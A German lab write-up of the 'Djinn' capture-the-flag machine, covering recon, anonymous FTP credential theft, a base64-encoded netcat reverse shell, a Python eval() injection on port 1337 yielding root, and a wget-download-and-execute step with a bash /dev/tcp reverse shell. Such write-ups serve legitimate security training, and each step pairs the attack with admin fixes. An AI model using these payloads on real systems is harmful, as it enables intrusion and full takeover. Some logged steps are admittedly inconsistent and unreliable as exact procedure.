Analyse: Beginn der Aufklärung mit `arp-scan -l` zur Identifizierung von aktiven Hosts im lokalen Netzwerk.
192.168.2.118 08:00:27:5e:c9:df PCS Systemtechnik GmbH
Bewertung: Ein Host mit der IP 192.168.2.118 wurde identifiziert. Die MAC-Adresse deutet auf eine VirtualBox VM hin. Dies ist das Zielsystem "Djinn".
Empfehlung (Pentester): Führen Sie einen Port-Scan auf 192.168.2.118 durch. Fügen Sie ggf. `192.168.2.118 djinn.hmv` zur lokalen `/etc/hosts`-Datei hinzu.
Empfehlung (Admin): Standardempfehlungen zur Netzwerküberwachung und Segmentierung.
Analyse: Ein `nmap`-Scan wird auf das Ziel 192.168.2.118 gestartet. Optionen: `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-sV` (Versionserkennung), `-A` (Aggressive Optionen), `-p-` (alle TCP-Ports).
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-05 10:08 CEST Nmap scan report for djinn (192.168.2.118) Host is up (0.00019s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt | -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt |_-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt | ftp-syst: | STAT: | FTP server status: | Connected to ffff:192.168.2.140 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp filtered ssh 1337/tcp open waste? Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Unix TRACEROUTE HOP RTT ADDRESS 1 0.19 ms djinn (192.168.2.118) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in [Scan Duration]
Bewertung: Der Scan zeigt interessante offene Ports: * **Port 21 (FTP):** vsftpd 3.0.3 mit **erlaubtem anonymen Login**. Die Verzeichnisliste zeigt drei Textdateien: `creds.txt`, `game.txt`, `message.txt`. Dies ist ein **kritischer Fund** und der wahrscheinlichste Einstiegspunkt. * **Port 22 (SSH):** Wird als `filtered` angezeigt. Das bedeutet, Nmap konnte nicht sicher feststellen, ob der Port offen oder geschlossen ist, oft aufgrund einer Firewall. * **Port 1337 (waste?):** Ein ungewöhnlicher Port mit einem unbekannten Dienst. Nmap konnte ihn nicht identifizieren (`waste?`). Muss weiter untersucht werden.
Empfehlung (Pentester): **Priorität 1:** Verbinden Sie sich anonym per FTP und laden Sie die drei Textdateien herunter. **Priorität 2:** Untersuchen Sie Port 1337 manuell (z.B. mit `nc` oder `telnet`), um den Dienst zu identifizieren. Notieren Sie den gefilterten SSH-Port für spätere Versuche, falls Anmeldedaten gefunden werden.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, es sei denn, er ist absolut notwendig und sicher konfiguriert (z.B. nur Lesezugriff auf bestimmte, nicht-sensible Dateien). Entfernen Sie sensible Dateien wie `creds.txt` aus anonym zugänglichen Bereichen. Überprüfen Sie Firewall-Regeln für Port 22 (SSH). Identifizieren und sichern oder deaktivieren Sie den Dienst auf Port 1337.
Analyse:** Verbindung zum FTP-Server mit `lftp` als anonymer Benutzer. Auflisten (`ls`) und Herunterladen (`get`) der gefundenen Textdateien.
lftp anonymous@192.168.2.118:~> ls -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt -rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt lftp anonymous@192.168.2.118:~> get creds.txt game.txt message.txt 252 Bytes übertragen Insgesamt 3 Dateien übertragen lftp anonymous@192.168.2.118:~> pwd ftp://anonymous:@192.168.2.118/
Bewertung: Der anonyme FTP-Zugriff funktionierte, und die drei Dateien wurden erfolgreich heruntergeladen.
Empfehlung (Pentester): Analysieren Sie den Inhalt der heruntergeladenen Dateien.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff oder sichern Sie ihn rigoros ab.
Analyse:** Untersuchung der heruntergeladenen Dateien mit `cat`.
@nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.
nitu:81299
Bewertung: * `message.txt`: Erwähnt einen Benutzer `@nitish81299`. * `game.txt`: Bestätigt, dass auf Port 1337 ein Spiel läuft. * `creds.txt`: Enthält **Zugangsdaten**: Benutzer `nitu` mit Passwort `81299`. Dies ist ein kritischer Fund.
Empfehlung (Pentester): Versuchen Sie, sich mit `nitu`:`81299` per SSH anzumelden (obwohl Port 22 gefiltert war, lohnt ein Versuch). Untersuchen Sie das Spiel auf Port 1337. Der Benutzername könnte auch `nitish` sein, basierend auf `message.txt`.
Empfehlung (Admin): Entfernen Sie sensible Dateien und Credentials vom FTP-Server. Schulen Sie Benutzer im sicheren Umgang mit Passwörtern und Notizen. Ändern Sie das Passwort für `nitu`/`nitish`.
Analyse:** Verbindung zum Spiel auf Port 1337 mit `nc`. Das Spiel stellt einfache mathematische Aufgaben und erfordert 1000 korrekte Antworten. Ein Versuch, Fließkommazahlen einzugeben (1/7), führt zu einer Fehlermeldung "Stop acting like a hacker".
____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (3, '', 3) > 9 (7, '-', 7) > 0 (5, '+', 2) > 7 (6, '-', 5) > 1 (9, '+', 1) > 10 (5, '', 5) > 25 (7, '/', 7) > 1 (1, '/', 7) > 0,1428571428571429 Stop acting like a hacker for a damn minute!!
Bewertung: Das Spiel ist eine potenzielle Angriffsfläche. Die Notwendigkeit von 1000 Antworten macht eine manuelle Lösung unpraktikabel. Die Fehlermeldung bei Fließkommazahlen deutet darauf hin, dass die Eingabe möglicherweise nicht robust validiert wird und anfällig für Code Injection sein könnte (z.B. wenn `eval` oder eine ähnliche Funktion zur Berechnung verwendet wird).
Empfehlung (Pentester): Versuchen Sie, Code (z.B. Python-Code, Shell-Befehle) anstelle einer Zahl als Antwort zu senden, um eine Code Injection oder Command Injection Schwachstelle zu finden. Automatisieren Sie ggf. das Lösen der Aufgaben mit einem Skript, falls keine Injection möglich ist.
Empfehlung (Admin): Validieren und sanitisieren Sie alle Benutzereingaben serverseitig rigoros. Verwenden Sie keine unsicheren Funktionen wie `eval` zur Verarbeitung von Benutzereingaben. Implementieren Sie Rate Limiting oder Mechanismen zur Erkennung von automatisierten Angriffen.
Analyse:** Erneute Versuche, sich per SSH (Port 22) mit den gefundenen Credentials (`nitu`) anzumelden oder den Port mit `nc` zu erreichen. Beide Versuche scheitern mit "Connection refused".
ssh: connect to host 192.168.2.118 port 22: Connection refused
(UNKNOWN) [192.168.2.118] 22 (ssh) : Connection refused
Bewertung: "Connection refused" ist eindeutiger als Nmaps "filtered". Es bedeutet, dass entweder keine Anwendung auf Port 22 lauscht oder eine Firewall die Verbindung aktiv ablehnt (im Gegensatz zu "filtered", wo Pakete verworfen werden könnten). SSH ist definitiv kein direkter Einstiegspunkt von dieser Quelle aus.
Empfehlung (Pentester): Ignorieren Sie SSH vorerst. Konzentrieren Sie sich auf die Webanwendung (Port 80/7331) und das Spiel auf Port 1337.
Empfehlung (Admin): Stellen Sie sicher, dass Firewall-Regeln wie erwartet funktionieren und keine unnötigen Dienste laufen.
Analyse: Der Bericht springt zur Untersuchung von Port 7331. Es ist **unklar, wie dieser Port entdeckt wurde**, da er im initialen Nmap-Scan nicht aufgeführt war. Es muss ein weiterer Scan oder eine andere Informationsquelle (z.B. ein Hinweis im Spiel auf Port 1337, der nicht gezeigt wird) angenommen werden. Ein `gobuster`-Scan wird auf `http://192.168.2.118:7331/` ausgeführt.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.118:7331/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv,.git [+] Expanded: true [+] Timeout: 10s =============================================================== [Scan Start Time] Starting gobuster =============================================================== http://192.168.2.118:7331/wish (Status: 200) [Size: 385] http://192.168.2.118:7331/genie (Status: 200) [Size: 1676] =============================================================== [Scan End Time] Finished ===============================================================
--- Request: http://192.168.2.118:7331/genie?name=Wrong+choice+of+words --- [Response implies parameter might be accepted]
Bewertung: Trotz der Unklarheit über die Entdeckung von Port 7331 findet `gobuster` zwei interessante Endpunkte: `/wish` und `/genie`. Ein Test von `/genie` deutet auf einen möglichen Eingabeparameter hin. Die Namen (`wish`, `genie`) passen zum Thema "Djinn". `/genie` ist ein starker Kandidat für eine Schwachstelle.
Empfehlung (Pentester): Untersuchen Sie `/genie` auf Schwachstellen, insbesondere auf Command Injection oder Code Injection, indem Sie verschiedene Payloads als Wert für den `name`-Parameter (oder andere gefuzzte Parameter) senden.
Empfehlung (Admin): Identifizieren Sie den Dienst auf Port 7331. Wenn er nicht benötigt wird, deaktivieren Sie ihn. Wenn er benötigt wird, sichern Sie ihn ab und entfernen Sie potenzielle Schwachstellen in den Endpunkten `/wish` und `/genie`.
Analyse:** Es wird eine Standard-Reverse-Shell-Payload für Linux erstellt (unter Verwendung einer FIFO-Pipe) und mit Base64 kodiert. *Annahme:* Diese Payload soll in den `/genie`-Endpunkt injiziert werden, wahrscheinlich über einen Parameter wie `name`. Der Bericht erwähnt "SUper call back funktion erreicht", was darauf hindeutet, dass die Ausführung des Befehls eine sichtbare Rückmeldung erzeugt (z.B. in einer Fehlerseite oder einer Bilddatei, wie im Kommentar angedeutet).
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTky LjE2OC4yLjE0MCA5MDAxID4vdG1wL2YK
SUper call back funktion erreicht: Die befehle antworten zurück im bild der Fehlerseite...
Bewertung: Die Vorbereitung für den Initial Access über Command Injection in `/genie` ist abgeschlossen. Die Base64-Kodierung dient oft dazu, problematische Zeichen in der Payload zu umgehen.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Port 9001. Dekodieren Sie die Base64-Payload und injizieren Sie den dekodierten Befehl in den `/genie`-Endpunkt (z.B. `http://192.168.2.118:7331/genie?parameter=[DEKODIERTE_PAYLOAD]`).
Empfehlung (Admin):** **Dringend:** Beheben Sie die Command Injection Schwachstelle in `/genie`. Validieren Sie alle Eingaben und verwenden Sie keine Funktionen, die Shell-Befehle direkt aus Benutzereingaben erstellen.
Analyse:** Ein Netcat-Listener wird auf Port 9001 gestartet. Anschließend wird die Base64-kodierte Payload dekodiert und direkt in die Bash-Shell des Angreifers gepiped. *Fehler im Log:* Dieser Befehl (`echo "..." | base64 -d | bash`) würde die Reverse Shell auf dem Angreifer-System starten, nicht auf dem Ziel! Es wird **angenommen**, dass der Pentester stattdessen den *dekodierten Payload* kopiert und ihn in die URL für den `/genie`-Endpunkt eingefügt hat (z.B. mit `curl` oder im Browser), um die Schwachstelle auszunutzen. Der Listener empfängt daraufhin die Verbindung.
listening on [any] 9001 ...
listening on [any] 9001 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.118] 51042 /bin/sh: 0: can't access tty; job control turned off $
Bewertung: **Initial Access erfolgreich!** Trotz des Fehlers im Log wurde die Command Injection Schwachstelle in `/genie` erfolgreich ausgenutzt, um eine Reverse Shell als `www-data` zu erhalten.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Führen Sie Enumeration als `www-data` durch.
Empfehlung (Admin): Beheben Sie die RCE in `/genie`.
Analyse:** Die erhaltene Shell wird mit Python PTY stabilisiert. Anschließend wird Enumeration durchgeführt: Benutzer in `/home` werden aufgelistet, das Home-Verzeichnis von `nitish` wird detailliert angezeigt, und nach SUID-Dateien wird gesucht.
/usr/bin/python3
www-data@djinn:/opt/80$
[Keine Ausgabe]
nitish sam
total 40 drwxr-xr-x 6 nitish nitish 4096 Apr 23 00:35 . drwxr-xr-x 4 root root 4096 Nov 14 2019 .. -rw------- 1 root root 414 Apr 23 00:49 .bash_history -rw-r--r-- 1 nitish nitish 3771 Nov 11 2019 .bashrc drwx------ 2 nitish nitish 4096 Nov 11 2019 .cache drwxr-xr-x 2 nitish nitish 4096 Oct 21 2019 .dev drwx------ 3 nitish nitish 4096 Nov 11 2019 .gnupg drwxrwxr-x 3 nitish nitish 4096 Apr 23 00:34 .local -rw-r----- 1 nitish nitish 38 Apr 23 00:35 user.txt
137793 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils 148056 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at 139237 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec 134406 76 -rwsr-xr-x 1 root root 75824 Mar 23 2019 /usr/bin/gpasswd 134403 76 -rwsr-xr-x 1 root root 76496 Mar 23 2019 /usr/bin/chfn 149894 40 -rwsr-xr-x 1 root root 37136 Mar 23 2019 /usr/bin/newgidmap 139582 72 -rwsr-x--- 1 sam nitish 72000 Nov 11 2019 /usr/bin/genie 131086 40 -rwsr-xr-x 1 root root 40344 Mar 23 2019 /usr/bin/newgrp 134407 60 -rwsr-xr-x 1 root root 59640 Mar 23 2019 /usr/bin/passwd 149895 40 -rwsr-xr-x 1 root root 37136 Mar 23 2019 /usr/bin/newuidmap 134404 44 -rwsr-xr-x 1 root root 44528 Mar 23 2019 /usr/bin/chsh 131190 148 -rwsr-xr-x 1 root root 149080 Oct 11 2019 /usr/bin/sudo 131533 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 148420 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign 148272 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 150042 108 -rwsr-sr-x 1 root root 109432 Jul 12 2019 /usr/lib/snapd/snap-confine 139239 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 133537 44 -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 524804 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping 524313 44 -rwsr-xr-x 1 root root 43088 Aug 23 2019 /bin/mount 535644 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount 524322 28 -rwsr-xr-x 1 root root 26696 Aug 23 2019 /bin/umount 524321 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /bin/su
Bewertung: * Benutzer `nitish` und `sam` existieren. * Die Datei `user.txt` im Home von `nitish` ist für `www-data` nicht lesbar (`-rw-r-----`). * **Kritischer Fund:** Die SUID-Suche zeigt `/usr/bin/genie`. Diese Datei gehört dem Benutzer `sam`, hat die Gruppe `nitish` und das SUID-Bit ist gesetzt (`-rwsr-x---`). Das bedeutet, wenn `www-data` (oder ein anderer Benutzer) diese Datei ausführt, läuft sie mit den Rechten des Besitzers `sam`. Die Berechtigungen (`---` für Other) verhindern jedoch, dass `www-data` sie direkt ausführen kann. * Andere SUID-Dateien (pkexec, sudo etc.) sind Standard, aber ihre Anwesenheit ist notiert.
Empfehlung (Pentester): Der wahrscheinlichste Weg zur Eskalation führt über `/usr/bin/genie`. Da `www-data` es nicht direkt ausführen kann, muss ein Weg gefunden werden, Code als `nitish` oder `sam` auszuführen, um `/usr/bin/genie` zu starten. Alternativ könnte das Spiel auf Port 1337 (das evtl. als root läuft) ein Vektor sein. Die Fehlermeldung bei der Fließkommazahl-Eingabe deutet auf Python hin, möglicherweise `eval()`.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und die Berechtigungen des SUID-Bits auf `/usr/bin/genie`. SUID-Binaries sind ein hohes Sicherheitsrisiko und sollten nur verwendet werden, wenn absolut notwendig und sorgfältig geprüft. Ändern Sie die Berechtigungen (`chmod 750` oder `chmod u-s`), wenn das SUID-Bit nicht erforderlich ist. Stellen Sie sicher, dass Dateiberechtigungen für Benutzerdateien (`user.txt`) korrekt sind.
Analyse:** Der Pentester kehrt zum Spiel auf Port 1337 zurück und testet auf Code Injection mittels Python's `eval()`. Zuerst wird `id` ausgeführt, dann `whoami`.
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(9, '+', 2)
> eval('__import__("os").system("id")')
uid=0(root) gid=0(root) groups=0(root)
Wrong answer
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(7, '+', 4)
> eval('__import__("os").system("whoami")')
root
Wrong answer
Bewertung: **Kritischer Fund für Privilege Escalation!** Das Spiel auf Port 1337 ist anfällig für Python Code Injection über `eval()`. Obwohl die Antwort als "Wrong answer" für das Spiel gewertet wird, wird der injizierte Code (`os.system("id")` und `os.system("whoami")`) ausgeführt, und zwar **als root**! Dies ist ein direkter Weg zur vollständigen Systemkontrolle. Der vorherige Initial Access als `www-data` und die Untersuchung des SUID-Binaries waren somit nicht der effizienteste Weg, aber Teil des Enumerationsprozesses.
Empfehlung (Pentester): Nutzen Sie die `eval()`-Injection auf Port 1337, um eine Reverse Shell als `root` zu erhalten. Erstellen Sie dazu einen Payload, der z.B. `wget` verwendet, um ein Shell-Skript herunterzuladen und auszuführen.
Empfehlung (Admin):** **Dringend:** Beheben Sie die Code Injection Schwachstelle im Spiel auf Port 1337. **Niemals `eval()` oder ähnliche Funktionen zur Auswertung von Benutzereingaben verwenden!** Validieren und sanitisieren Sie alle Eingaben rigoros. Deaktivieren Sie den Dienst auf Port 1337, wenn er nicht benötigt wird.
Analyse:** Vorbereitung und Ausführung des Root-Reverse-Shell-Payloads über die `eval()`-Injection. 1. Ein Shell-Skript (`execute.sh`) mit einem Bash-Reverse-Shell-Payload wird auf dem Angreifer-System erstellt. 2. Ein Python-HTTP-Server wird auf Port 8081 auf dem Angreifer-System gestartet, um `execute.sh` bereitzustellen. 3. Ein Netcat-Listener wird auf Port 9001 auf dem Angreifer-System gestartet, um die Root-Shell zu empfangen. 4. Eine Verbindung zum Spiel auf Port 1337 wird hergestellt. 5. Ein komplexer Payload wird via `eval()` injiziert: `wget http://192.168.2.140:8081/execute.sh -O /tmp/execute.sh && chmod +x /tmp/execute.sh && bash /tmp/execute.sh`. Dieser lädt das Skript herunter, macht es ausführbar und führt es aus.
#!/bin/bash bash -i >& /dev/tcp/192.168.2.140/9001 0>&1
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ... 192.168.2.118 - - [05/Oct/2022 11:27:45] "GET /execute.sh HTTP/1.1" 200 - 192.168.2.118 - - [05/Oct/2022 11:28:19] "GET /execute.sh HTTP/1.1" 200 -
listening on [any] 9001 ...
____ _____ _
/ ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | | __/ | | | | | | | | | __/
\____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___|
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(9, '/', 7)
> eval('__import__("os").system("wget http://192.168.2.140:8081/execute.sh -O /tmp/execute.sh && chmod +x /tmp/execute.sh && bash /tmp/execute.sh")')
--2022-10-05 14:58:20-- http://192.168.2.140:8081/execute.sh
Connecting to 192.168.2.140:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57 [text/x-sh]
Saving to: ‘/tmp/execute.sh’
0K 100% 20.7M=0s
2022-10-05 14:58:20 (20.7 MB/s) - ‘/tmp/execute.sh’ saved [57/57]
listening on [any] 9001 ... DNS fwd/rev mismatch: djinn != djinn.speedport.ip connect to [192.168.2.140] from djinn [192.168.2.118] 51054 bash: cannot set terminal process group (24154): Inappropriate ioctl for device bash: no job control in this shell root@djinn:/#
Bewertung: **Privilege Escalation erfolgreich!** Die `eval()`-Injection wurde genutzt, um das Reverse-Shell-Skript herunterzuladen und auszuführen. Da der Dienst auf Port 1337 als root lief, wurde eine Root-Shell auf dem Listener empfangen.
Empfehlung (Pentester): Bestätigen Sie die Root-Rechte mit `id`. Lesen Sie die Root- und User-Flags.
Empfehlung (Admin):** **Dringend:** Beheben Sie die `eval()`-Injection-Schwachstelle im Dienst auf Port 1337. Deaktivieren Sie den Dienst oder führen Sie ihn mit minimalen Rechten aus.
Analyse:** Innerhalb der erhaltenen Root-Shell werden die User- und Root-Flags gelesen.
nitish sam
HMV{WW91IGZvdW5kIHRoZSBmaXJzdCBzdGVw}
[Keine Ausgabe]
HMV{eWVzIHlvdSBhcmUgY29vbA}
Bewertung: Beide Flags wurden erfolgreich gefunden und ausgelesen. Das Ziel der Übung wurde erreicht.
Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Konzentrieren Sie sich auf die Behebung der Schwachstellen: Anonymer FTP mit Credentials, unsicherer Dienst auf Port 1337 mit `eval()`-Injection, potenzielle Schwachstelle im SUID-Binary `/usr/bin/genie` (obwohl nicht ausgenutzt).